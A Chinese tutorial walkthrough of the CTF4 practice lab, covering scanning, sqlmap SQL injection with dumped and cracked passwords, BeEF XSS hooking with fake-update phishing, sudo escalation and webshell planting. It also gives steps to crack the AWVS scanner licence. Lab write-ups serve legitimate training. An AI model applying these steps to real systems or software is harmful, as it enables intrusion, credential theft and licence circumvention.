零基础打靶—CTF4靶场

一、打靶的主要五大步骤

1.确定目标:在所有的靶场中,确定目标就是使用nmap进行ip扫描,确定ip即为目标,其他实战中确定目标的方式包括nmap进行扫描,但不局限于这个nmap。
2.常见的信息收集:比如平常挖洞使用fofa,天眼查,ip域名等进行查,在我们这次训练靶场中比如信息收集包括查看源码,使用工具dirb等
3.发现漏洞:之前你们看到那些理论比如sql注入,文件上传等,或者找到相关的系统信息,去网上找相关的exp这些都是为了拿到webshell
4.利用漏洞就是使用漏洞拿到webshell
5.权限提升,就是所谓的提权,因为一般进入拿到webshell后进入到服务器了都是低权限,在接下来的靶中我们的目标都是拿到root权限,所以拿到webshell后是低权限用户,这个时候我们需要一系列的方式进行提权,最后拿到root权限,即为结束。


                                    文章所需靶场及打靶过程所遇问题关注后私信获得


二、打靶的具体流程

打开本次打靶所需要的靶机(ctf4)及攻击机(kali)

渗透测试工具安装Awvs(将AWVS压缩包拖进kali开始执行命令)

sudo ./acunetix_14.5.211115146_x64.sh

按回车同意隐私条款…..
注意 一直长按就行了,直到末尾输入yes

然后输入用户名和密码以及邮箱。邮箱:3157443409@qq.com 密码:!20021118Ws

接下来浏览器输入https://192.168.99.128:3443/ 用刚才设置的账号和密码登录(需使用自己的kali的IP)邮箱:3157443409@qq.com   密码:!20021118Ws(不是确定的依据个人爱好设定)

登录后,提示目前是尚未激活的状态。  

接下来进行破解

复制 license_info.json  wa_data.dat 这两个文件到/home/acunetix/.acunetix/data/license/目录,全部替换即可

查看存在license_info.json  wa_data.dat 这2个文件,下面进行覆盖

修改hosts文件
vim /etc/hosts
#增加下面两行
127.0.0.1 updates.acunetix.com
127.0.0.1 erp.acunetix.com

然后再次刷新浏览器,可以看到已经激活

设置不更新

AWVS进程:

关闭acunetix服务
sudo service acunetix stop
开启acunetix服务
sudo service acunetix start
重启acunetix服务
sudo service acunetix restart
查看acunetix服务
sudo service acunetix status

信息收集查询靶机的IP 与开放端口以及一些渗透测试

查看自己的网卡设备名和IP地址段

使用工具对该网段进行局域网存活主机探测

fping -g 192.168.99.0/24
sudo netdiscover -i eth0 -r 192.168.99.0/24
sudo arp-scan -l

使用nmap对发现的主机进行扫描

┌──(kali㉿kali)-[~]
└─$ sudo nmap -A -v -sS -sV -p- 192.168.8.133 

通过Wappalyzer插件获得信息:

Web服务:Apache 2.2.0
操作系统:Fedora
后端语言:PHP 5.1.2

使用Nikto漏洞扫描

┌──(kali㉿kali)-[~]
└─$ nikto -host http://192.168.99.129

提取重要信息:
+服务器:Apache/2.2.0(Fedora)
+检索到x-powered-by-header:PHP/5.1.2
+防点击劫持X-Frame-Options标头不存在。

报告输出在本地

┌──(kali㉿kali)-[~]
└─$ nikto -host http://192.168.99.129 -o test.html -F html  #输出报告,

重要目录文件分析robots.txt文件

 /sql/目录

/admin/目录

/usage/目录


/pages/目录 可以看到目录索引


mail目录 mail登录后台

 手动分析注入 

浏览网站博客Blog,点击某一个博客,发现页面,修改id值,页面出现跳转

hackbar手动安装

尝试构造注入点输入单引号发现页面报错,可能存在SQL注入漏洞,需要进一步分析判断

尝试构建SQL注入语句,查看错误信息,order by判断字段发现6 页面报错,5页面没有报错,说明当前表有5列即5个字段

尝试构建SQL注入语句,查看错误信息,union查询判断注入点,发现2、3、5、4存在注入点;

查询当前数据库;查询到当前数据库为ehks

查询当前数据库里所有表:可以看到:blog,comment,user 3个表group_concat函数详解

查询当前表所有字段名; (补充:查询user表是因为用户名和密码信息一般放在该表里)

查询当前表里User和Password字段值;
用户的密码
02e823a15a392b5aa4ff4ccb9060fa68,ilike2surf
b46265f1e7faa3beab09db5c28739380,seventysixers
8f4743c04ed8e5f39166a81f26319bb5,Homesite
7c7bc9f465d86b8164686ebb5151a717,Sue1978
64d1f88b9b276aece4b0edcc25b7a434,pacman
9f3eb3087298ff21843cc4e013cf355f undone1
查询到密码发现密码被加密了,使用MD5解密得到密码;
最终结果:
dstevens,ilike2surf
achen,seventysixers
pmoore,Homesite
jdurbin,Sue1978
sorzek,pacman
ghighland,undone1

列出所有数据库的名字;可以看到结果6个数据库

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" --dbs

列出当前数据库的名字;

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" --current-db

列出当前数据库的所有表名

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" -D 'ehks' --tables 

列出user表中的所有字段名

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" -D 'ehks' -T 'user' --columns

列出user_name,user_pass字段中的所有字段内容

┌──(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" -D 'ehks' -T 'user' -C 'user_name,user_pass' --dump //这里主要--dump

尝试去爆破MySQL数据库,拿到user表的重要信息

┌──(kali㉿kali)-[~]

└─$ sqlmap -u "http://192.168.99.129/index.html?page=blog&title=Blog&id=2" -D 'mysql' -T 'user' -C 'user,password' --dump 

登录后台页面

使用刚SQL注入成功获取到的Ehks数据库的账户和密码登录

尝试构造 :(POC)来验证与检查漏洞的存在

点击blog,出现弹窗,刷新依然存在,判断为存储性XSS

登录到数据库可以看到,已经存入到数据库blog表中

kali安装beef:(通过XSS漏洞配合JS脚本和Metasploit进行渗透)

┌──(kali㉿kali)-[~]
└─$ sudo apt-get update #更新 
┌──(kali㉿kali)-[~]
└─$ sudo apt-get install beef-xss #安装beef-xss  
┌──(kali㉿kali)-[~]
└─$ ls /usr/share/beef-xss #beef=xss 安装路径

启动beef
过程中要求,修改密码,这里修改为123456 默认为beef

打开web页面进行登录 登录:用户名beef 密码:123456

查看脚本

将脚本放在靶机中:

post 提交后,点击Blog,触发XSS,可以在BeEF页面,可以看到肉鸡上线,这里是本地宿主机这里使用的是本地火狐浏览器访问的,所以肉鸡为本地宿主机

在BeEF页面,点击链接的肉鸡

获取cookie:

跳转链接:

伪造flash更新钓鱼:

可以看到屏幕已经劫持,必须点击中间图片,进行页面跳转,这里可以构造钓鱼网站进行信息收录

DirBuster暴力扫描 选择字典类型,字典列表, / usr / share / dirbuster / wordlists

可以看到目录索引

权限提升 SSH利用 

尝试使用获取的账号尝试去登陆ssh,成功登陆,接下来进一步提权

cd /etc/ssh
ls 
cat ssh_config
sudo vim ssh_config


KexAlgorithms +diffie-hellman-group1-sha1
HostkeyAlgorithms +ssh-rsa
PubkeyAcceptedKeyTypes +ssh-rsa

再次尝试 可以使用ssh登录 密码:seventysixers

sudo ssh achen@192.168.99.129

使用sudo提权

[achen@ctf4 ~]$ sudo su 
[root@ctf4 achen]# whoami
[root@ctf4 achen]# id

su命令就是用于账号切换的系统命令,

提权后操作查看IP地址
[root@ctf4 achen]# /sbin/ifconfig 

远程登录数据库

mysql> use mysql; --使用MySQL数据库
mysql> select host,user,password from user;

实现远程连接

再次查看

mysql> select host,user,password from user;

尝试使用数据库工具远程链接 测试链接

链接数据库:用户root 密码:root

编写Webshell或上传Webshell

[root@ctf4 ~]# cd ~

[root@ctf4 ~]# pwd 

/root

[root@ctf4 ~]# cd /var/www/

[root@ctf4 www]# ls

cgi-bin  error  html  icons  usage

[root@ctf4 www]# cd html

[root@ctf4 html]# ls

admin     conf    inc         index.html.bak  pages       robots.txt

calendar  images  index.html  mail            restricted  sql

[root@ctf4 html]# vim shell.php

可以使用Webshell管理工具链接shell.php,这里使用蚁剑

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/211283.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

jionlp :一款超级强大的Python 神器!轻松提取地址中的省、市、县

在日常数据处理中,如果你需要从一个完整的地址中提取出省、市、县三级地名,或者乡镇、村、社区两级详细地名,你可以使用一个第三方库来实现快速解析。在使用之前,你需要先安装这个库。 pip install jionlp -i https://pypi.douba…

LeetCode - 965. 单值二叉树(C语言,二叉树,配图)

二叉树每个节点都具有相同的值,我们就可以比较每个树的根节点与左右两个孩子节点的值是否相同,如果不同返回false,否则,返回true。 如果是叶子节点,不存在还孩子节点,则这个叶子节点为根的树是单值二叉树。…

【算法通关村】链表基础经典问题解析

【算法通关村】链表基础&经典问题解析 一.什么是链表 链表是一种通过指针将多个节点串联在一起的线性结构,每一个节点(结点)都由两部分组成,一个是数据域(用来存储数据),一个是指针域&…

每日一练:冒泡排序

1. 概述 冒泡排序(Bubble Sort)也是一种简单直观的排序算法。它重复地走访过要排序的数列,一次比较两个元素,如果他们的顺序错误就把他们交换过来。走访数列的工作是重复地进行直到没有再需要交换,也就是说该数列已经排…

【集合篇】Java集合概述

Java 集合概述 集合与容器 容器(Container)是一个更广泛的术语,用于表示可以容纳、组织和管理其他对象的对象。它是一个更高层次的概念,包括集合(Collection)在内。集合(Collection&#xff0…

CSS 选择器优先级,!important 也会被覆盖?

目录 1,重要性2,专用性3,源代码顺序 CSS 属性值的计算过程中。其中第2步层叠冲突只是简单说明了下,这篇文章来详细介绍。 层叠冲突更广泛的被称为 CSS选择器优先级计算。 为什么叫层叠冲突,可以理解为 CSS 是 Cascadi…

HarmonyOS开发工具安装

目录 下载与安装DevEco Studio DevEco Studio下载官网,点击下载 下载完成后,双击下载的“deveco-studio-xxxx.exe” 进入DevEco Studio安装向导 选择安装路径 如下安装选项界面勾选DevEco Studio后,单击“Next” 点击Install 安装完…

什么是Daily Scrum?

Daily Scrum(每日站会),Scrum Master要确保这个会在每天都会开。这个会的目的就是检查正在做的东西和方式是否有利于完成Sprint目的,并及时做出必要的调整。 每日站会一般只开15分钟,为了让事情更简单些,这…

Python遥感开发之批量拼接

Python遥感开发之批量拼接 1 遥感图像无交错的批量拼接2 遥感图像有交错的批量拼接 前言:主要借助python实现遥感影像的批量拼接,遥感影像的批量拼接主要分为两种情况,一种是遥感图像无交错,另一种情况是遥感图像相互有交错。具体…

【送书活动三期】解决docker服务假死问题

工作中使用docker-compose部署容器,有时候会出现使用docker-compose stop或docker-compose down命令想停掉容器,但是依然无法停止或者一直卡顿在停止中的阶段,这种问题很让人头疼啊! 目录 问题描述问题排查问题解决终极杀招-最粗暴…

c语言调用free,提示已触发了一个断点。

在用c语言写数据结构的链表的时候,执行也没有什么大错,逻辑也是对的,但是一道free函数会自动触发一个断点。如图: 这个断点产生的原因是由于分配的内存太小了在使用的时候没有任何问题,但是在执行程序的时候&#xff0…

【并发编程】volatile实现原理解析

📫作者简介:小明Java问道之路,2022年度博客之星全国TOP3,专注于后端、中间件、计算机底层、架构设计演进与稳定性建设优化,文章内容兼具广度、深度、大厂技术方案,对待技术喜欢推理加验证,就职于…

【嵌入式-51单片机】常见位运算和数据类型以及sbit使用

51单片机中 数据类型如下&#xff1a; 位运算符如下&#xff1a; 按位左移<<&#xff1a;低位补零&#xff0c;高位移出 按位右移>>&#xff1a;高位补零&#xff0c;低位移出 按位与&&#xff1a;对应位上的值必须同时为1才为1&#xff0c;可以用来对指定位…

uniapp实现文件预览过程

H5实现预览 <template><iframe :src"_url" style"width:100vw; height: 100vh;" frameborder"0"></iframe> </template> <script lang"ts"> export default {data() {return {_url: ,}},onLoad(option…

【SQLite3】约束总结

前面学习了SQLite数据库的常见使用方法&#xff0c;其中包含许多约束&#xff0c;常见的如NOT NULL、DEFAULT、UNIQUE、PRIMARY KEY&#xff08;主键&#xff09;、CHECK等 本篇文章主要介绍这些约束在SQLite中的使用 目录 什么是约束NOT NULL 约束DEFAULT约束UNIQUE约束PRIMA…

CAP BASE理论

CAP & BASE理论详解 CAP 理论 简介 CAP 也就是 Consistency&#xff08;一致性&#xff09;、Availability&#xff08;可用性&#xff09;、Partition Tolerance&#xff08;分区容错性&#xff09; 这三个单词首字母组合。 CAP 理论的提出者布鲁尔在提出 CAP 猜想的时…

yolov8模型 onnxruntime推理及可视化

参考:https://github.com/ultralytics/ultralytics/blob/main/examples/YOLOv8-ONNXRuntime/main.py 1、yolov8 onnxruntime推理代码 1)导出参考:https://blog.csdn.net/weixin_42357472/article/details/131412851 2)查看保存的模型onnx的输入格式等信息 登录https://n…

关于微信公众号授权的几件事

背景 项目需要使用微信公众号发消息&#xff0c;然后就来接入这个微信授权啦&#xff0c;微信公众号发消息前提是还需要用户先关注公众号~ 微信授权是有点恶心的&#xff0c;真的真的需要先配置好环境&#xff0c;开发的话目前是可以使用测试号申请公众号使用测试号的appid~ …

(C语言)逆序输出字符串

#include<stdio.h> #include<string.h> int main() {int i;char s[100];scanf("%s",&s);int count strlen(s);for(int i count -1;i > 0; i --)printf("%c",s[i]);return 0;} 代码运行截图&#xff1a; 注&#xff1a;侵权可删

web:very_easy_sql(sql、ssrf、gopher协议sql注入)

题目 页面显示如下 显示不是内部用户&#xff0c;无法识别信息 查看源码&#xff0c;找到一个use.php 访问之后显示如下 随便输入了一个&#xff0c;发现url有参数显示 试一下靶机的网址&#xff0c;返回nonono 联系之前原始页面写的“不是内网用户&#xff0c;无法别识身份”…